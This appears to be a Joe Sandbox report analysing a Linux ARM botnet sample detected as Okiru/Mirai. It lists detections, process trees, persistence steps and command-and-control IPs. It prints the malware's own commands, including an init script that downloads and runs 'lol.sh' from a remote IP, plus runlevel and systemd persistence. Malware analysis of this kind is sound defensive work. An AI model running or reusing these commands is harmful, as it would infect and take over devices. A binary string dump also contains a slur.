Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
arm5.nn.elf

Overview

General Information

Sample name:arm5.nn.elf
Analysis ID:1581270
MD5:3d0e7b9895721480231b8aecfc3ab03c
SHA1:2cb17a10a66f4f25484c1125d748c25c8337d5c0
SHA256:ce50c7368d0d50aed73d522620d1287509e4921e8f9e88625b2e6d605797b177
Tags:elfuser-abuse_ch
Infos:

Detection

Okiru
Score:84
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Okiru
Drops files in suspicious directories
Sample deletes itself
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1581270
Start date and time:2024-12-27 09:18:21 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 56s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm5.nn.elf
Detection:MAL
Classification:mal84.spre.troj.evad.linELF@0/10@2/0

Warnings

  • VT rate limit hit for: http://94.156.227.229/
  • VT rate limit hit for: http://94.156.227.229/lol.sh
  • VT rate limit hit for: http://94.156.227.229/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s

Runtime Messages

Command:/tmp/arm5.nn.elf
PID:5561
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • arm5.nn.elf (PID: 5561, Parent: 5486, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.nn.elf
    • sh (PID: 5583, Parent: 5561, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"
      • sh New Fork (PID: 5585, Parent: 5583)
      • systemctl (PID: 5585, Parent: 5583, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service
    • sh (PID: 5600, Parent: 5561, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
      • sh New Fork (PID: 5602, Parent: 5600)
      • chmod (PID: 5602, Parent: 5600, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system
    • sh (PID: 5603, Parent: 5561, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
      • sh New Fork (PID: 5605, Parent: 5603)
      • ln (PID: 5605, Parent: 5603, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system
    • sh (PID: 5606, Parent: 5561, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm5.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm5.nn.elf'\n /tmp/arm5.nn.elf &\n wget http://94.156.227.229/lol.sh -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm5.nn.elf'\n killall arm5.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm5.nn.elf"
    • sh (PID: 5608, Parent: 5561, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/arm5.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 5614, Parent: 5608)
      • chmod (PID: 5614, Parent: 5608, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/arm5.nn.elf
    • sh (PID: 5615, Parent: 5561, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
      • sh New Fork (PID: 5620, Parent: 5615)
      • mkdir (PID: 5620, Parent: 5615, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d
    • sh (PID: 5621, Parent: 5561, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/arm5.nn.elf /etc/rc.d/S99arm5.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 5626, Parent: 5621)
      • ln (PID: 5626, Parent: 5621, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/arm5.nn.elf /etc/rc.d/S99arm5.nn.elf
  • udisksd New Fork (PID: 5572, Parent: 803)
  • dumpe2fs (PID: 5572, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • systemd New Fork (PID: 5598, Parent: 5597)
  • snapd-env-generator (PID: 5598, Parent: 5597, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • udisksd New Fork (PID: 5641, Parent: 803)
  • dumpe2fs (PID: 5641, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • udisksd New Fork (PID: 5714, Parent: 803)
  • dumpe2fs (PID: 5714, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • udisksd New Fork (PID: 5715, Parent: 803)
  • dumpe2fs (PID: 5715, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • cleanup

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
arm5.nn.elfJoeSecurity_OkiruYara detected OkiruJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5561.1.00007ff01c017000.00007ff01c02d000.r-x.sdmpJoeSecurity_OkiruYara detected OkiruJoe Security
      Process Memory Space: arm5.nn.elf PID: 5561JoeSecurity_OkiruYara detected OkiruJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus / Scanner detection for submitted sample
        Source: arm5.nn.elfAvira: detected
        Multi AV Scanner detection for submitted file
        Source: arm5.nn.elfVirustotal: Detection: 33%Perma Link
        Source: arm5.nn.elfReversingLabs: Detection: 36%
        Source: arm5.nn.elfString: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/...%s/%s/data/local/tmp//var/run/home/usr/bin/var/tmptmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s
        Source: global trafficTCP traffic: 192.168.2.15:38206 -> 94.156.227.234:38242
        Source: /tmp/arm5.nn.elf (PID: 5561)Socket: 0.0.0.0:38242Jump to behavior
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
        Source: arm5.nn.elfString found in binary or memory: http://94.156.227.229/
        Source: profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, arm5.nn.elf.30.dr, custom.service.12.drString found in binary or memory: http://94.156.227.229/lol.sh
        Source: arm5.nn.elfString found in binary or memory: http://94.156.227.229/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
        Source: Initial sampleString containing 'busybox' found: /bin/busybox
        Source: Initial sampleString containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/...%s/%s/data/local/tmp//var/run/home/usr/bin/var/tmptmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVR
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: classification engineClassification label: mal84.spre.troj.evad.linELF@0/10@2/0

        Persistence and Installation Behavior

        barindex
        Sample tries to persist itself using /etc/profile
        Source: /tmp/arm5.nn.elf (PID: 5561)File: /etc/profileJump to behavior
        Sample tries to persist itself using System V runlevels
        Source: /tmp/arm5.nn.elf (PID: 5561)File: /etc/rc.localJump to behavior
        Source: /usr/bin/ln (PID: 5605)File: /etc/rcS.d/S99system -> /etc/init.d/systemJump to behavior
        Source: /usr/bin/ln (PID: 5626)File: /etc/rc.d/S99arm5.nn.elf -> /etc/init.d/arm5.nn.elfJump to behavior
        Sample tries to set files in /etc globally writable
        Source: /tmp/arm5.nn.elf (PID: 5561)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5602)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5614)File: /etc/init.d/arm5.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5750/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5751/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5752/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5742/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5753/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5743/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5744/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/803/cmdlineJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5745/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5405/cmdlineJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5746/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5714/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5747/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5715/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5748/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5629)File opened: /proc/5749/statusJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5583)Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"Jump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5600)Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5603)Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5606)Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm5.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm5.nn.elf'\n /tmp/arm5.nn.elf &\n wget http://94.156.227.229/lol.sh -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm5.nn.elf'\n killall arm5.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm5.nn.elf"Jump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5608)Shell command executed: sh -c "chmod +x /etc/init.d/arm5.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5615)Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"Jump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5621)Shell command executed: sh -c "ln -s /etc/init.d/arm5.nn.elf /etc/rc.d/S99arm5.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /bin/sh (PID: 5602)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/systemJump to behavior
        Source: /bin/sh (PID: 5614)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm5.nn.elfJump to behavior
        Source: /bin/sh (PID: 5620)Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.dJump to behavior
        Source: /bin/sh (PID: 5585)Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.serviceJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5561)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5602)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 5614)File: /etc/init.d/arm5.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5561)Writes shell script file to disk with an unusual file extension: /etc/init.d/systemJump to dropped file
        Source: /tmp/arm5.nn.elf (PID: 5561)Writes shell script file to disk with an unusual file extension: /etc/rc.localJump to dropped file
        Source: /bin/sh (PID: 5606)Writes shell script file to disk with an unusual file extension: /etc/init.d/arm5.nn.elfJump to dropped file

        Hooking and other Techniques for Hiding and Protection

        barindex
        Drops files in suspicious directories
        Source: /tmp/arm5.nn.elf (PID: 5561)File: /etc/init.d/systemJump to dropped file
        Source: /bin/sh (PID: 5606)File: /etc/init.d/arm5.nn.elfJump to dropped file
        Sample deletes itself
        Source: /tmp/arm5.nn.elf (PID: 5631)File: /tmp/arm5.nn.elfJump to behavior
        Source: /tmp/arm5.nn.elf (PID: 5561)Queries kernel information via 'uname': Jump to behavior
        Source: arm5.nn.elf, 5561.1.0000564209b95000.0000564209ce3000.rw-.sdmpBinary or memory string: !/proc/1496/exe0!/usr/bin/vmtoolsd1
        Source: arm5.nn.elf, 5561.1.00007ffec1686000.00007ffec16a7000.rw-.sdmpBinary or memory string: /tmp/qemu-open.7T8fXH
        Source: arm5.nn.elf, 5561.1.00007ffec1686000.00007ffec16a7000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.nn.elf
        Source: arm5.nn.elf, 5561.1.00007ffec1686000.00007ffec16a7000.rw-.sdmpBinary or memory string: BV/tmp/qemu-open.7T8fXH
        Source: arm5.nn.elf, 5561.1.0000564209b95000.0000564209ce3000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
        Source: arm5.nn.elf, 5561.1.0000564209b95000.0000564209ce3000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
        Source: arm5.nn.elf, 5561.1.0000564209b95000.0000564209ce3000.rw-.sdmpBinary or memory string: BV!/etc/qemu-binfmt/arm
        Source: arm5.nn.elf, 5561.1.00007ffec1686000.00007ffec16a7000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
        Source: arm5.nn.elf, 5561.1.00007ffec1686000.00007ffec16a7000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

        Stealing of Sensitive Information

        barindex
        Yara detected Okiru
        Source: Yara matchFile source: arm5.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 5561.1.00007ff01c017000.00007ff01c02d000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: arm5.nn.elf PID: 5561, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Yara detected Okiru
        Source: Yara matchFile source: arm5.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 5561.1.00007ff01c017000.00007ff01c02d000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: arm5.nn.elf PID: 5561, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information2
        Scripting        		Valid AccountsWindows Management Instrumentation1
        Unix Shell Configuration Modification        		1
        Unix Shell Configuration Modification        		1
        Masquerading        		1
        OS Credential Dumping        		11
        Security Software Discovery        		Remote ServicesData from Local System1
        Non-Standard Port        		Exfiltration Over Other Network Medium1
        Data Manipulation
        CredentialsDomainsDefault AccountsScheduled Task/Job1
        Systemd Service        		1
        Systemd Service        		2
        File and Directory Permissions Modification        		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAt2
        Scripting        		Logon Script (Windows)1
        File Deletion        		Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1581270 Sample: arm5.nn.elf Startdate: 27/12/2024 Architecture: LINUX Score: 84 51 94.156.227.234, 38206, 38208, 38210 NETIXBG Bulgaria 2->51 53 daisy.ubuntu.com 2->53 55 Antivirus / Scanner detection for submitted sample 2->55 57 Multi AV Scanner detection for submitted file 2->57 59 Yara detected Okiru 2->59 8 arm5.nn.elf 2->8         started        12 udisksd dumpe2fs 2->12         started        14 udisksd dumpe2fs 2->14         started        16 3 other processes 2->16 signatures3 process4 file5 43 /etc/rc.local, POSIX 8->43 dropped 45 /etc/profile, ASCII 8->45 dropped 47 /etc/init.d/system, POSIX 8->47 dropped 61 Sample tries to set files in /etc globally writable 8->61 63 Sample tries to persist itself using /etc/profile 8->63 65 Drops files in suspicious directories 8->65 67 Sample tries to persist itself using System V runlevels 8->67 18 arm5.nn.elf sh 8->18         started        20 arm5.nn.elf sh 8->20         started        22 arm5.nn.elf sh 8->22         started        24 5 other processes 8->24 signatures6 process7 file8 28 sh chmod 18->28         started        31 sh ln 20->31         started        33 sh chmod 22->33         started        49 /etc/init.d/arm5.nn.elf, POSIX 24->49 dropped 69 Drops files in suspicious directories 24->69 35 sh ln 24->35         started        37 arm5.nn.elf 24->37         started        39 sh systemctl 24->39         started        41 2 other processes 24->41 signatures9 process10 signatures11 71 Sample tries to set files in /etc globally writable 28->71 73 Sample tries to persist itself using System V runlevels 31->73 75 Sample deletes itself 37->75

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        arm5.nn.elf33%VirustotalBrowse
        arm5.nn.elf37%ReversingLabsLinux.Backdoor.Mirai
        arm5.nn.elf100%AviraEXP/ELF.Mirai.W

        Dropped Files

        SourceDetectionScannerLabelLink
        /etc/rc.local0%ReversingLabs

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://94.156.227.229/lol.sh100%Avira URL Cloudmalware
        http://94.156.227.229/0%Avira URL Cloudsafe
        http://94.156.227.229/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s0%Avira URL Cloudsafe

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        		162.213.35.24
        		truefalse
          		high

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://94.156.227.229/arm5.nn.elffalse
          • Avira URL Cloud: safe
          		unknown
          http://94.156.227.229/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sarm5.nn.elffalse
          • Avira URL Cloud: safe
          		unknown
          http://94.156.227.229/lol.shprofile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, arm5.nn.elf.30.dr, custom.service.12.drfalse
          • Avira URL Cloud: malware
          		unknown

          World Map of Contacted IPs

          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs

          Public IPs

          IPDomainCountryFlagASNASN NameMalicious
          94.156.227.234
          		unknownBulgaria
          		57463NETIXBGfalse

          Joe Sandbox View / Context

          IPs

          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          94.156.227.234mipsel.nn.elfGet hashmaliciousOkiruBrowse
            sparc.nn.elfGet hashmaliciousOkiruBrowse
              x86_32.nn.elfGet hashmaliciousOkiruBrowse
                powerpc.nn.elfGet hashmaliciousOkiruBrowse
                  x86_64.nn.elfGet hashmaliciousOkiruBrowse
                    x86_32.nn.elfGet hashmaliciousOkiruBrowse
                      mipsel.nn.elfGet hashmaliciousOkiruBrowse
                        powerpc.nn.elfGet hashmaliciousOkiruBrowse
                          sparc.nn.elfGet hashmaliciousOkiruBrowse
                            arm7.nn-20241224-0652.elfGet hashmaliciousMirai, OkiruBrowse

                              Domains

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              daisy.ubuntu.comx86_32.nn.elfGet hashmaliciousOkiruBrowse
                              • 162.213.35.25
                              m68k.nn.elfGet hashmaliciousOkiruBrowse
                              • 162.213.35.24
                              db0fa4b8db0333367e9bda3ab68b8042.arc.elfGet hashmaliciousGafgyt, MiraiBrowse
                              • 162.213.35.24
                              RpcSecurity.x86.elfGet hashmaliciousUnknownBrowse
                              • 162.213.35.24
                              .i.elfGet hashmaliciousUnknownBrowse
                              • 162.213.35.24
                              RpcSecurity.arm7.elfGet hashmaliciousMiraiBrowse
                              • 162.213.35.25
                              RpcSecurity.mpsl.elfGet hashmaliciousUnknownBrowse
                              • 162.213.35.25
                              RpcSecurity.ppc.elfGet hashmaliciousUnknownBrowse
                              • 162.213.35.25
                              RpcSecurity.arm.elfGet hashmaliciousUnknownBrowse
                              • 162.213.35.24
                              RpcSecurity.spc.elfGet hashmaliciousUnknownBrowse
                              • 162.213.35.24

                              ASNs

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              NETIXBGmipsel.nn.elfGet hashmaliciousOkiruBrowse
                              • 94.156.227.234
                              sparc.nn.elfGet hashmaliciousOkiruBrowse
                              • 94.156.227.234
                              x86_32.nn.elfGet hashmaliciousOkiruBrowse
                              • 94.156.227.234
                              powerpc.nn.elfGet hashmaliciousOkiruBrowse
                              • 94.156.227.234
                              x86_64.nn.elfGet hashmaliciousOkiruBrowse
